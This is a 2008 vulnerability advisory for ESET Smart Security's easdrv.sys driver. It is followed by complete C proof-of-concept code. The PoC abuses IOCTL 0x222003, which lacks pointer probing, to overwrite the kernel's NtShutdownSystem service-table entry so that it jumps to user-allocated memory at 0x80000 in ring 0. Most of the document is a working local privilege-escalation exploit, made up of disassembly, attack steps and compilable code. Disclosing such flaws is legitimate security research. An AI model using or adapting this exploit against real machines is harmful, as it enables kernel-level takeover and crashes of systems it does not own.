eset-escalate.txt

`-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
- - Orange Bat advisory -  
  
Name : ESET Smart Security 3.0.667.0  
Class : Privilage escalation  
Published : 2008-08-14  
Credit : g_ (g_ # orange-bat # com)  
  
- - Details -  
  
File: easdrv.sys  
  
.text:00012B92 loc_12B92:   
.text:00012B92 push [ebp+InputBuf]  
.text:00012B95 call ds:off_1A200[eax]  
.text:00012B9B mov ecx, [ebp+OutputBuffer]  
.text:00012B9E mov [ecx], eax  
  
Although this piece of code is wrapped with exception handler,   
input and output pointers are not checked with ProbeForRead/Write.  
This will cause BSOD when input/output will point to kernel mode  
memory (above 0x80000000).   
  
This code can be reached by sending IoControlCode = 0x222003 to   
device \\.\\easdrv (see POC). In order to exploit this, we need  
to take a look at   
  
.text:00012B95 call ds:off_1A200[eax]  
  
off_1A200 is:  
  
.rdata:0001A200 off_1A200 dd offset HookNtClose  
.rdata:0001A204 dd offset sub_12838  
.rdata:0001A208 dd offset sub_12874  
.rdata:0001A20C dd offset sub_128A8  
.rdata:0001A210 dd offset sub_128E4  
.rdata:0001A214 dd offset sub_1290A  
.rdata:0001A218 dd offset sub_1292C  
.  
.  
.  
  
These are wrappers for hooked syscalls. First one is NtClose, so  
there aren't many possible values that this API returns in eax.   
We will use:  
  
C0000008 STATUS_INVALID_HANDLE An invalid HANDLE was specified.  
  
Because it's the simplest status to get.   
  
Attack scenario:  
  
1. Get address of some rarely used syscall, like NtShutdownSystem.  
I will refer to this address as X :p  
2. Send signal to easdrv, with output buffer = X-1. This will result  
in overwriting two highest bytes with zeros and will damage 1 byte  
at X-1 :p.  
3. Send signal with output buffer = X+2. This will set two lower bytes  
to 0x0800.  
4. Allocate memory at 0x80000 and copy shellcode there  
5. Call NtShutdownSystem to jump to shellcode in r0 mode.  
  
See POC for details. There is no cleanup, you will get BSOD at address   
0x80000 :).  
  
It's possible to get required addresses by downloading symbols for   
given kernel build or use technique presented in [1]. In POC code this  
address is hardcoded.  
  
- - Proof of concept -  
  
http://www.orange-bat.com/adv/2008/poc.08.14.eset.rar  
  
Compile with mingw:  
  
gcc -o poc.exe poc.c -lntdll  
  
  
- - References -  
  
[1] - Exploiting Windows Device Drivers, Piotr Bania  
http://www.piotrbania.com/all/articles/ewdd.pdf  
  
- - PGP -  
  
All advisories from Orange Bat are signed. You can find our public  
key here: http://www.orange-bat.com/g_.asc  
  
- - Disclaimer -  
  
This document and all the information it contains is provided "as is",  
without any warranty. Orange Bat is not responsible for the  
misuse of the information provided in this advisory. The advisory is  
provided for educational purposes only.  
  
Permission is hereby granted to redistribute this advisory, providing  
that no changes are made and that the copyright notices and  
disclaimers remain intact.  
  
  
(c) 2008 www.orange-bat.com   
  
  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1.4.9 (MingW32)  
  
iEYEARECAAYFAkimwoMACgkQIUHRVUfOLgXj5ACeNkg3GNU//dJRBZFvo/PpRr1C  
EZYAoJXU4zaonv7a4pOQi7qoINDaE7vV  
=7B2G  
-----END PGP SIGNATURE-----  
  
//  
// ESET SmartSecurity priv. escalation  
//  
// visit www.orange-bat.com for full advisory  
//  
// g_  
// g_ # orange-bat # com  
  
#include <windows.h>  
#include <stdio.h>  
#include <ddk/ntifs.h>  
  
  
void TextError(LPTSTR lpszFunction)  
{  
// Retrieve the system error message for the last-error code  
  
LPVOID lpMsgBuf;  
LPVOID lpDisplayBuf;  
DWORD dw = GetLastError();  
  
FormatMessage(  
FORMAT_MESSAGE_ALLOCATE_BUFFER |  
FORMAT_MESSAGE_FROM_SYSTEM |  
FORMAT_MESSAGE_IGNORE_INSERTS,  
NULL,  
dw,  
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),  
(LPTSTR) &lpMsgBuf,  
0, NULL );  
  
// Display the error message and exit the process  
  
lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT,  
(lstrlen((LPCTSTR)lpMsgBuf)+lstrlen((LPCTSTR)lpszFunction)+40)*sizeof(TCHAR));  
sprintf((LPTSTR)lpDisplayBuf,  
TEXT("%s failed with error %d: %s"),  
lpszFunction, dw, lpMsgBuf);  
//MessageBox(NULL, (LPCTSTR)lpDisplayBuf, TEXT("Error"), MB_OK);  
  
printf(lpDisplayBuf);  
  
LocalFree(lpMsgBuf);  
LocalFree(lpDisplayBuf);  
}  
  
  
BOOL TestIOCTL(PCHAR DeviceName, DWORD Ioctl, DWORD InputBuffer, DWORD InputLen, DWORD OutputBuffer, DWORD OutputLen )  
{  
HANDLE hDevice; // handle to the drive to be examined  
BOOL bResult; // results flag  
DWORD junk; // discard results  
IO_STATUS_BLOCK IoStatusBlock;  
  
hDevice = CreateFile(DeviceName,  
0, // no access to the drive  
FILE_SHARE_READ | // share mode  
FILE_SHARE_WRITE,  
NULL, // default security attributes  
OPEN_EXISTING, // disposition  
0, // file attributes  
NULL); // do not copy file attributes  
  
if (hDevice == INVALID_HANDLE_VALUE) // cannot open the drive  
{  
TextError("CreateFile");  
return (FALSE);  
}  
  
  
bResult = DeviceIoControl(hDevice, // device to be queried  
Ioctl,  
(PVOID)InputBuffer,  
InputLen,  
(PVOID)OutputBuffer,  
OutputLen, // output buffer  
&junk, // # bytes returned  
(LPOVERLAPPED)NULL); // synchronous I/O  
  
  
if(!bResult){  
TextError("DeviceIoControl");  
}  
  
CloseHandle(hDevice);  
  
return TRUE;  
}  
  
int AllocMem(DWORD lpBase){  
  
PVOID lpvResult;  
  
lpvResult = VirtualAlloc(  
(LPVOID) lpBase, // Next page to commit  
0x1337, // Page size, in bytes  
MEM_COMMIT, // Allocate a committed page  
PAGE_EXECUTE_READWRITE); // Read/write access  
if (lpvResult == NULL ){  
TextError("VirtualAlloc");  
return 0;  
}  
else {  
printf("VirtualAlloc success\n");  
}  
  
return 1;  
}  
  
int main(int argc, char *argv[])  
{  
DWORD Ioctl, Input, ILen, Output, OLen;  
DWORD SSDT;  
  
if(!AllocMem(0x80000)){  
return 1;  
}  
  
Input = 12345678;  
SSDT = 0x80501414; //80501414 8060786e nt!NtShutdownSystem  
  
Output = 0;  
if(TestIOCTL("\\\\.\\easdrv", 0x222003, &Input, 4, SSDT-1, 4)){  
TestIOCTL("\\\\.\\easdrv", 0x222003, &Input, 4, SSDT+2, 4);  
  
printf("NtShutdownSystem now points to 0x80000 :)");  
printf("Jump to hyperspace in 2 seconds..");  
Sleep(2*1000);  
NtShutdownSystem(0);  
}  
else{  
printf("Failed to open device");  
}  
  
return 0;  
}  
  
`